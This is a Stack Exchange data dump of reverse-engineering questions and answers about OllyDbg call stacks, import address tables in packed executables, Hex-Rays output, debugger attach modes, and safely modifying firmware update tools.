  <row Id="11261" PostTypeId="1" AcceptedAnswerId="11262" CreationDate="2015-11-06T17:43:53.650" Score="1" ViewCount="11908" Body="&lt;p&gt;I am trying to learn to get around Ollydbg, using Lena's tutorial. The latter is based on v.1.10 but I'm using 2.01. So far that went ok. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I now find myself in a situation where my result differs a lot from the tutorial (no 4). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to catch the call for a messagebox in the code. The tutorial describes I should, with the messagebox open, pause Ollydbg, then return to the application and close the messagebox. This would make Ollydbg break after I clicked the box away and I would land right after the messagebox call in the code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case though, as soon as I click pause, Olly leaves the main application module, landing on RETN in a subroutine of USER32.GetMessageA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I can't get back to the application at all, it's blocked. I have to continue the debugger in order to be able to get back to it again but this way I get no info about the messagebox. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips how to proceed in order to get the expected result? I guess in this specific example I could just search for all messagebox calls in the code but that's hardly a good way, especially with large apps. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A related question, is there a possibility to &quot;look back&quot; on what happened, as in which code was called up to a certain moment? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies if any of this doesn't make much sense. &lt;/p&gt;&#xA;" OwnerUserId="13872" LastActivityDate="2018-02-23T04:44:17.823" Title="Catch MessageBox call with OllyDbg" Tags="|disassembly|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11262" PostTypeId="2" ParentId="11261" CreationDate="2015-11-06T18:04:32.317" Score="4" Body="&lt;p&gt;&lt;kbd&gt;alt + k&lt;/kbd&gt; to view or look back &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a &lt;kbd&gt;f9&lt;/kbd&gt;-&gt; &lt;kbd&gt;f12&lt;/kbd&gt; -&gt; &lt;kbd&gt;alk + k&lt;/kbd&gt; output on a simple message box&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Call stack of main thread&#xA;Stack     Data      Procedure                                     Called from                  Frame&#xA;0013FA78  7E419418   ???                                          USER32.WaitMessage+0A&#xA;0013FAB0  7E4249C4  /USER32.DialogBox2                            USER32.InternalDialogBox+0B1&#xA;0013FAB4  00A20142  |  Arg1 = 0A20142&#xA;0013FAB8  00000000  |  Arg2 = 0&#xA;0013FABC  00000001  |  Arg3 = 1&#xA;0013FAC0  00000000  \  Arg4 = 0&#xA;0013FAD8  7E43A956  /USER32.InternalDialogBox                     USER32.SoftModalMessageBox+6&amp;gt;&#xA;0013FADC  7E410000  |  Arg1 = USER32.&amp;lt;STRUCT IMAGE_DOS_HEADER&amp;gt;&#xA;0013FAE0  00152F38  |  Arg2 = 152F38&#xA;0013FAE4  00000000  |  Arg3 = 0&#xA;0013FAE8  7E43A016  |  Arg4 = USER32.MB_DlgProc&#xA;0013FAEC  0013FEF0  |  Arg5 = 13FEF0&#xA;0013FAF0  00000000  \  Arg6 = 0&#xA;0013FD98  7E43A2BC  /USER32.SoftModalMessageBox                   USER32.MessageBoxWorker+170&#xA;0013FD9C  0013FEF0  \  Arg1 = 13FEF0&#xA;0013FEE8  7E4663FD  /USER32.MessageBoxWorker                      USER32.MessageBoxTimeoutW+75&#xA;0013FEEC  0013FEF0  \  Arg1 = 13FEF0&#xA;0013FF40  7E4664A2  /USER32.MessageBoxTimeoutW                    USER32.MessageBoxTimeoutA+97&#xA;0013FF44  00000000  |  Arg1 = 0&#xA;0013FF48  001529C8  |  Arg2 = UNICODE &quot;Multi-line text for a simp&amp;gt;&#xA;0013FF4C  00152AB0  |  Arg3 = UNICODE &quot;Caption For A Simple And P&amp;gt;&#xA;0013FF50  00000000  |  Arg4 = 0&#xA;0013FF54  00000000  |  Arg5 = 0&#xA;0013FF58  FFFFFFFF  \  Arg6 = -1&#xA;0013FF74  7E450877  /USER32.MessageBoxTimeoutA                    USER32.MessageBoxExA+16&#xA;0013FF78  00000000  |  Arg1 = 0&#xA;0013FF7C  00401008  |  Arg2 = ASCII &quot;Multi-line text for a simple&amp;gt;&#xA;0013FF80  00401070  |  Arg3 = ASCII &quot;Caption For A Simple And Pla&amp;gt;&#xA;0013FF84  00000000  |  Arg4 = 0&#xA;0013FF88  00000000  |  Arg5 = 0&#xA;0013FF8C  FFFFFFFF  \  Arg6 = -1&#xA;0013FF94  7E45082F  /USER32.MessageBoxExA                         USER32.MessageBoxA+40&#xA;0013FF98  00000000  |  hOwner = NULL&#xA;0013FF9C  00401008  |  Text = &quot;Multi-line text for a simple and p&amp;gt;&#xA;0013FFA0  00401070  |  Caption = &quot;Caption For A Simple And Plain &amp;gt;&#xA;0013FFA4  00000000  |  Type = MB_OK|MB_DEFBUTTON1|MB_APPLMODAL&#xA;0013FFA8  00000000  \  LanguageID = LANG_NEUTRAL&#xA;0013FFB0  004010AE  /USER32.MessageBoxA                           msgbox.004010A8&#xA;0013FFB4  00000000  |  hOwner = NULL&#xA;0013FFB8  00401008  |  Text = &quot;Multi-line text for a simple and p&amp;gt;&#xA;0013FFBC  00401070  |  Caption = &quot;Caption For A Simple And Plain &amp;gt;&#xA;0013FFC0  00000000  \  Type = MB_OK|MB_DEFBUTTON1|MB_APPLMODAL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;no you cant close a paused MessageBox not in v 1.10 or not in v 2.01&lt;br&gt;&#xA;it is simply not possible period&lt;br&gt;&#xA;you must be misreading or misunderstanding the tutorial&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you need to set a breakpoint some where on any of the return address and continue execution &#xA;or you can select a return address in call stack and hit &lt;kbd&gt;f4&lt;/kbd&gt; to execute until return&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jvX9Z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jvX9Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-11-06T19:38:52.563" LastActivityDate="2015-11-06T19:38:52.563" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="11263" PostTypeId="2" ParentId="11252" CreationDate="2015-11-06T19:10:23.397" Score="0" Body="&lt;pre&gt;&lt;code&gt;\xdA\9FB = {0x0d,0x41,0x09,0x46,0x62}     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;0x0d = CR or carriage return&lt;br&gt;&#xA;0x09 = tab&lt;br&gt;&#xA;so ollldybg showns them as ptr to ascii string&lt;br&gt;&#xA;assuming address &lt;code&gt;401070&lt;/code&gt; holds  a string&lt;br&gt;&#xA;and &lt;code&gt;401130 contains 401070&lt;/code&gt;&lt;br&gt;&#xA;on any access of &lt;code&gt;401130&lt;/code&gt;  ollydbg will dereference the pointer &lt;code&gt;401070&lt;/code&gt;&lt;br&gt;&#xA;since it contains an ascii string  (ollydbg knows because of its analysis data )&lt;br&gt;&#xA;it comments out as    PTR to Ascii Data&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address   Hex dump     Command                  Comments&#xA;004010CD  B8 30114000  MOV EAX, msgbox.00401130 ; PTR to ASCII &quot;A   Fb&quot;&#xA;&#xA;CPU Dump&#xA;Address   Hex dump                                ASCII&#xA;00401130  70 10 40 00|                            p@&#xA;&#xA;CPU Dump&#xA;Address   Hex dump                                ASCII&#xA;00401070  0D 41 09 46|62 00                       A Fb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with an actual ascii string &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address   Hex dump       Command                       Comments&#xA;004010CD    B8 30114000  MOV     EAX, msgbox.00401130  ; PTR to ASCII &quot;Caption For A Simple &quot;&#xA;&#xA;CPU Dump&#xA;Address   Hex dump                                ASCII&#xA;00401130  70 10 40 00|                            p@&#xA;&#xA;CPU Dump&#xA;Address   Hex dump                                         ASCII&#xA;00401070  43 61 70 74|69 6F 6E 20|46 6F 72 20|41 20 53 69| Caption For A Si&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SpmbM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SpmbM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-11-06T21:13:02.843" LastActivityDate="2015-11-06T21:13:02.843" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11264" PostTypeId="2" ParentId="11252" CreationDate="2015-11-06T20:21:15.370" Score="5" Body="&lt;p&gt;As Ian Cook said, the most likely scenario is that this &quot;ASCII&quot; is not a string at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disassemblers like OllyDbg will call pretty much anything &quot;ASCII&quot; if it's zero terminated and does not contain overly crazy control characters, but neither the extended ASCII interpretation &quot;ÚŸb&quot; nor the UTF-8 interpretation &quot;ڟb&quot; (the first character is Arabic) make much sense, so most likely this is a pointer to a record, the first field of which is a pointer to address &lt;code&gt;0x00629FDA&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2058" LastActivityDate="2015-11-06T20:21:15.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11266" PostTypeId="2" ParentId="11260" CreationDate="2015-11-07T09:49:26.180" Score="4" Body="&lt;p&gt;I figured out a solution. Here is what I did.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Export the content of /proc/kallsyms to a text file.&lt;/li&gt;&#xA;&lt;li&gt;From the zImage kernel file look for the gz file format header, copy it out and extract. Load the file into IDA.&lt;/li&gt;&#xA;&lt;li&gt;As the file is a binary file, you need to tell IDA how to work with it. You set the architecture to ARM(as was in my case), set the RAM segment to load at 0x80008000.&lt;/li&gt;&#xA;&lt;li&gt;Write an IDApython script to read the text file from [1] and do a MakeName(address, name).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-11-07T09:49:26.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11267" PostTypeId="1" AcceptedAnswerId="11272" CreationDate="2015-11-07T14:38:24.440" Score="0" ViewCount="4003" Body="&lt;p&gt;I recently started to study RE in my free time. I started to look at lena151&#xA;free tutorials and now I'm on packers/protectors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i reached to the part that he show how to manually find the end of IAT&#xA;and he said &quot;you see, we can easy spot the end of the of the IAT, it's on&#xA; 493854...&quot; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0049380C  D0 E9 5F 73 C0 4A 65 73 70 68 65 73 A0 61 66 73  ׀י_sְJesphes afs&#xA;0049381C  50 C4 64 73 D0 66 65 73 40 6B 66 73 00 00 00 00  Pִds׀fes@kfs....&#xA;0049382C  C0 41 7E 75 10 0A 7A 75 00 00 00 00 00 F3 64 75  ְA~u.zu.....ףdu&#xA;0049383C  00 00 00 00 10 F4 00 77 00 6A 01 77 10 69 01 77  ....פ.w.jwiw&#xA;0049384C  00 00 00 00 6E 17 00 10 00 00 00 00 6B 65 72 6E  ....n.....kern&#xA;0049385C  65 6C 33 32 2E 64 6C 6C 00 00 00 00 44 65 6C 65  el32.dll....Dele&#xA;0049386C  74 65 43 72 69 74 69 63 61 6C 53 65 63 74 69 6F  teCriticalSectio&#xA;0049387C  6E 00 00 00 4C 65 61 76 65 43 72 69 74 69 63 61  n...LeaveCritica&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I don't udnerstand how he know where the end of the IAT just from looking&#xA;on the dump?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I didn't completely understood what is IAT, &#xA;any help will be great :-)&lt;/p&gt;&#xA;" OwnerUserId="13879" LastActivityDate="2015-11-07T19:30:46.190" Title="what is IAT? and how to find the end of the IAT in packed exe?" Tags="|unpacking|iat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11268" PostTypeId="1" CreationDate="2015-11-07T15:35:18.150" Score="1" ViewCount="291" Body="&lt;p&gt;another newbie question from me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming I know that the application I'm reversing uses certain third party libraries that are publicly available, but it links them statically, is there any easy way to make the debugger recognize the respective function calls in the app? What I want to avoid is to waste a lot of time on analyzing library functions which I know from the start I'm not interested in (such as MFC libraries). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is possible, an instruction how to do it in Ollydbg would be great though I'm grateful for any tips. &lt;/p&gt;&#xA;" OwnerUserId="13872" LastEditorUserId="53" LastEditDate="2017-04-28T12:45:34.687" LastActivityDate="2017-04-28T12:45:34.687" Title="Reversing apps with statically linked libraries" Tags="|disassembly|ollydbg|debugging|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11269" PostTypeId="1" CreationDate="2015-11-07T16:08:27.330" Score="1" ViewCount="159" Body="&lt;p&gt;I need to change a program which updates firmware on a computer. I want to decompile it, make changes in it, then compile it and use it for updating my computer's firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if it is possible to make it right, I don't want to damage my computer, I also don't want to waste my time. I mean, is it possible to make just one small change, so the code I have after decompilation, change and compilation will be almost the same and safe?&lt;/p&gt;&#xA;" OwnerUserId="14066" LastEditorUserId="14066" LastEditDate="2015-11-07T16:15:20.157" LastActivityDate="2015-11-09T08:45:21.463" Title="Decompiling, changing, compiling and using a program which can damage my computer" Tags="|decompilation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11272" PostTypeId="2" ParentId="11267" CreationDate="2015-11-07T19:30:46.190" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I didn't completely understood what is IAT, any help will be great :-)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The IAT is the Import Address Table. It's an an array of pointers to statically-imported API function addresses. The IAT entries gets populated at runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The format of the IAT is typically as follows, with all functions from a particular DLL grouped together, with a null-pointer separating each DLL's list of function addresses:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;pointer to DLL #1's function A&amp;gt;, &amp;lt;pointer to DLL #1's function B&amp;gt;, &amp;lt;pointer to DLL #1's function C&amp;gt;, 0x00000000, &amp;lt;pointer to DLL #2's function D&amp;gt;, &amp;lt;pointer to DLL #2's function E&amp;gt;, ..., 0x00000000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this format isn't required, but it's the most common format.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Now I don't udnerstand how he know where the end of the IAT just from looking on the dump?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I highlighted each IAT function below (with mspaint), with a different color for each DLL grouping. At virtual address &lt;code&gt;0x0049380C&lt;/code&gt; we see the function addresses &lt;code&gt;0x735FE9D0&lt;/code&gt;, &lt;code&gt;0x73654AC0&lt;/code&gt;, etc. You can tell that they're likely from the same DLL because:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There's no null-pointer separating them, and&lt;/li&gt;&#xA;&lt;li&gt;They're all in the same address range (&lt;code&gt;0x735F0000&lt;/code&gt; - &lt;code&gt;0x7366FFFF&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/s75RT.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s75RT.png&quot; alt=&quot;IAT&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The DWORD at &lt;code&gt;0x00493850&lt;/code&gt; (after the null-pointer at &lt;code&gt;0x0049384C&lt;/code&gt;) is &lt;code&gt;0x1000176E&lt;/code&gt;, so you can look up that address in your debugger and see if there's DLL code loaded at that address. If not, &lt;code&gt;0x0049384C&lt;/code&gt; would mark the end of the IAT. If so, &lt;code&gt;0x00493854&lt;/code&gt; would mark the end of the IAT since the data at &lt;code&gt;0x00493858&lt;/code&gt; is the beginning of an ASCII string and clearly not a valid function pointer.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-11-07T19:30:46.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11275" PostTypeId="1" AcceptedAnswerId="11284" CreationDate="2015-11-08T23:32:21.280" Score="4" ViewCount="2055" Body="&lt;p&gt;In IDA 6.6, is it possible to condense, or otherwise re-arrange, lines of pseudocode given by the Hex-Rays decompiler? For example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !iFile2Size&#xA;  || *pFile2BufferCopy == *pFile3BufferCopy&#xA;  &amp;amp;&amp;amp; (iFile2Size &amp;lt;= 1&#xA;   || pFile2BufferCopy[1] == pFile3BufferCopy[1]&#xA;   &amp;amp;&amp;amp; (iFile2Size &amp;lt;= 2 || pFile2BufferCopy[2] == pFile3BufferCopy[2])) )&#xA;  blah;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is a bit eye bleedy. I can't for the life of me figure out how to re-arrange it though.&lt;/p&gt;&#xA;" OwnerUserId="14003" LastEditorUserId="14003" LastEditDate="2015-11-08T23:50:48.840" LastActivityDate="2015-11-09T09:12:29.063" Title="Condense pseudocode lines in IDA Pro" Tags="|ida|hexrays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11276" PostTypeId="1" AcceptedAnswerId="11282" CreationDate="2015-11-09T00:28:49.520" Score="0" ViewCount="172" Body="&lt;p&gt;In Core Debugger Concepts What is the difference between Intrusive Attaching  and Non-Intrusive Attaching when debugging?&lt;/p&gt;&#xA;" OwnerUserId="12693" LastActivityDate="2015-11-09T03:41:57.160" Title="What is the difference between Intrusive Attaching and Non-Intrusive Attaching when debugging?" Tags="|debugging|debuggers|dynamic-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11277" PostTypeId="1" CreationDate="2015-11-09T00:47:17.390" Score="5" ViewCount="3409" Body="&lt;p&gt;Lets say I have this picture of some assembly:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/sMiab.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sMiab.png&quot; alt=&quot;http://i.imgur.com/nlgdsRC.png&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I know how to manual tranform this assembly into C code because it is small but is it possible for IDA to convert this into C code? Ideally I would write parts of the assembly or the entire thing and IDA would try to generate the C code for it. I don't have the binary, just pictures of various small programs (all linux x86). Also don't have any code segments etc (only the picture to guide me).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I only know how to generate C code if I have the compiled binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using IDA Pro + Decompiler.&lt;/p&gt;&#xA;" OwnerUserId="14079" LastEditorUserId="15246" LastEditDate="2023-01-24T23:35:33.353" LastActivityDate="2023-01-24T23:35:33.353" Title="Can IDA generate C code for ASM assembly without the binary?" Tags="|ida|assembly|c|decompile|binary|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="11278" PostTypeId="1" CreationDate="2015-11-09T01:18:06.620" Score="4" ViewCount="342" Body="&lt;p&gt;I'm working with a 32-bit ELF binary that (I believe) has been statically linked against a few different third-party libraries. It has also been stripped, so I don't have much to go on with respect to its symbol table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came across the old &lt;a href=&quot;http://reverse.lostrealm.com/tools/rsymtab.html&quot; rel=&quot;nofollow&quot;&gt;rsymtab&lt;/a&gt; tool that claims to be able to match object code from non-stripped libraries to code in your executable. It would then generate a symbol table file when it finds matches. Unfortunately, rsymtab is more than ten years old and build against a library that doesn't exist on modern Linux systems (libbfd). Is there any modern equivalent to this tool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Is this even the right approach when reversing a static/stripped binary? Should the object code be expected to match exactly between the binary and the right version of the third-party lib?)&lt;/p&gt;&#xA;" OwnerUserId="14078" LastActivityDate="2015-11-09T01:18:06.620" Title="Modern equivalent to rsymtab for reconstructing symbol table for statically linked / stripped binaries?" Tags="|linux|elf|symbols|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11279" PostTypeId="1" AcceptedAnswerId="11292" CreationDate="2015-11-09T01:38:09.213" Score="0" ViewCount="836" Body="&lt;p&gt;Where would I look if I wanted to know which third party libraries an application (win32) has used? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this info yesterday (with Ollydbg, I think) but for the love of me just can't figure out anymore how I did it. All I remember is that the format was easily readable, not hex.&lt;/p&gt;&#xA;" OwnerUserId="13872" LastActivityDate="2015-11-09T21:04:17.390" Title="Find out which libraries were (statically) linked" Tags="|disassembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11280" PostTypeId="1" AcceptedAnswerId="11287" CreationDate="2015-11-09T01:43:28.523" Score="7" ViewCount="11126" Body="&lt;p&gt;I have always been curious when I should use OllyDbg over Immunity Debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Immunity Debugger has inherited code from OllyDbg and can perform scripted debugging with Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interestingly enough, most of the times I do a Google search for a reverse engineering task with Immunity Debugger, I end up with search results related to exploit development. When I search for the same task with OllyDbg, I regularly find information more relevant to the reverse engineering task I am trying to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Immunity Debugger supports scripted debugging in Python (which simplifies the scripting process as opposed to making a plugin for OllyDbg), then why would I want to use OllyDbg over Immunity Debugger?&lt;/p&gt;&#xA;" OwnerUserId="13909" LastActivityDate="2015-11-09T15:30:07.030" Title="When to use OllyDgb over Immunity Debugger" Tags="|ollydbg|debugging|tools|immunity-debugger|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11282" PostTypeId="2" ParentId="11276" CreationDate="2015-11-09T03:41:57.160" Score="1" Body="&lt;p&gt;non invasive debugging has access to the process memory and can inspect state&#xA;non invasive debuggine cannot perform execution controlling options like step , breakpoints etc.&#xA;non invasive  code flow is something like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OpenProcess() , SuspendThread() , ReadProcessMemory() , ResumeThread() , CloseHandle()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Invasive debugging receives all the debugging events in the debuggee    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CreateProcess (.,.,.,DEBUG_XXXXX,...,); so this can wait for all the DebugEvents &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-11-09T03:41:57.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11283" PostTypeId="2" ParentId="11269" CreationDate="2015-11-09T08:39:36.837" Score="3" Body="&lt;p&gt;The safest way is to have Dual BIOS or BIOS EEPROM in removable socket and appropriate HW programmer with original binary hex file at disposal so if anything goes wrong you have a safe way returning to operational state. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So prior to anything you do make a copy of your EEPROM image and store to &lt;strong&gt;safe removable medium&lt;/strong&gt; in Intels HEX format. So if anything goes wrong you can try flash the EEPROM in a programmer (or seek someone that has one). Do not forget to check the content of the image (if you get wrong version of EEPROM utility the resulting image can be blank !!!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you by firmware refer to something else then BIOS please specify there are a lot of firmwares in nowadays PC's ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are lucky and have Emulator for the device you want try this on that first. If working well than you should be fine (but you never can be 100% sure with emulators).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not have access to HW programmer you can try HOT-SWAP as a last resort but it is a bit dangerous (if you shortcut anything you can burn out your device) ... for that you need spare EEPROM chip ... so boot from original one ... then swap chips and reprogram ... try if it works if not turn of swap again and you're back ...&lt;/p&gt;&#xA;" OwnerUserId="4709" LastEditorUserId="4709" LastEditDate="2015-11-09T08:45:21.463" LastActivityDate="2015-11-09T08:45:21.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11284" PostTypeId="2" ParentId="11275" CreationDate="2015-11-09T08:42:49.870" Score="2" Body="&lt;p&gt;The only reliable way I know about requires writing HexRays plugin.&#xA;&lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/sdk/hexrays_sample3_8cpp-example.shtml&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; and &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/sdk/hexrays_sample6_8cpp-example.shtml&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; you have an examples of such plugins that manipulates output of the decompiler - not exactly in a way you need, but probably it will give you some direction. Examples of such a plugins in IdaPython (probably not working and outdated) may be found in its old Google Code repository (see v*.py &lt;a href=&quot;https://code.google.com/p/idapython/source/browse/trunk/examples/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition you can manipulate decompiler configuration.&#xA;As it wrote &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/config.shtml&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; you can reduce or increase &lt;code&gt;RIGHT_MARGIN&lt;/code&gt; parameter, and this will probably give you an ability to manipulate single line size of decompiler output (which will change representation of your condition among others). The same setting can be accessed via edit/plugins/something related to hexrays/ (sorry, I don't have HexRay installed right now) menu.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2015-11-09T09:12:29.063" LastActivityDate="2015-11-09T09:12:29.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11285" PostTypeId="2" ParentId="11279" CreationDate="2015-11-09T08:43:57.457" Score="0" Body="&lt;p&gt;I think you are referring to the executable modules view in Olly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PjZvJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PjZvJ.png&quot; alt=&quot;Executable modules&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also be interested in &lt;a href=&quot;http://www.dependencywalker.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dependency Walker&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2354" LastActivityDate="2015-11-09T08:43:57.457" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11286" PostTypeId="1" AcceptedAnswerId="11288" CreationDate="2015-11-09T13:25:26.913" Score="2" ViewCount="287" Body="&lt;p&gt;Assuming the following lines of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; MOV DWORD PTR FS:[0],EAX&#xA; CALL someRoutine&#xA; MOV EAX,DWORD PTR DS:[EAX+4]&#xA; CMP DWORD PTR DS:[EAX+1204],0&#xA; JE placeInCode&#xA; XOR EAX,EAX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My goal is to change [someRoutine] in such a way that the JE is always taken - I specifically don't want to tamper with the code outside [someRoutine]. So just think of [someRoutine] as a set of instructions that you can freely change and adapt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to understand how to solve this equation. If there was no MOV instruction after the call, I guess I could just go to the address [EAX+1204] and fill it with 0. But like this, there seem to be too many unknown dependencies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice?&lt;/p&gt;&#xA;" OwnerUserId="13872" LastActivityDate="2015-11-09T17:44:27.757" Title="Is this code equation solvable?" Tags="|disassembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11287" PostTypeId="2" ParentId="11280" CreationDate="2015-11-09T15:30:07.030" Score="10" Body="&lt;p&gt;Immunity Debugger is forked from OllyDbg v1.10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you should use the latest version of OllyDbg (&lt;a href=&quot;http://www.ollydbg.de/version2.html&quot; rel=&quot;noreferrer&quot;&gt;currently v2.01&lt;/a&gt;) instead of Immunity Debugger if you want any OllyDbg v2-specific features/fixes. If you don't need those OllyDbg v2-specific features/fixes though, then there's no benefit to using OllyDbg v1.10 over Immunity Debugger.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-11-09T15:30:07.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
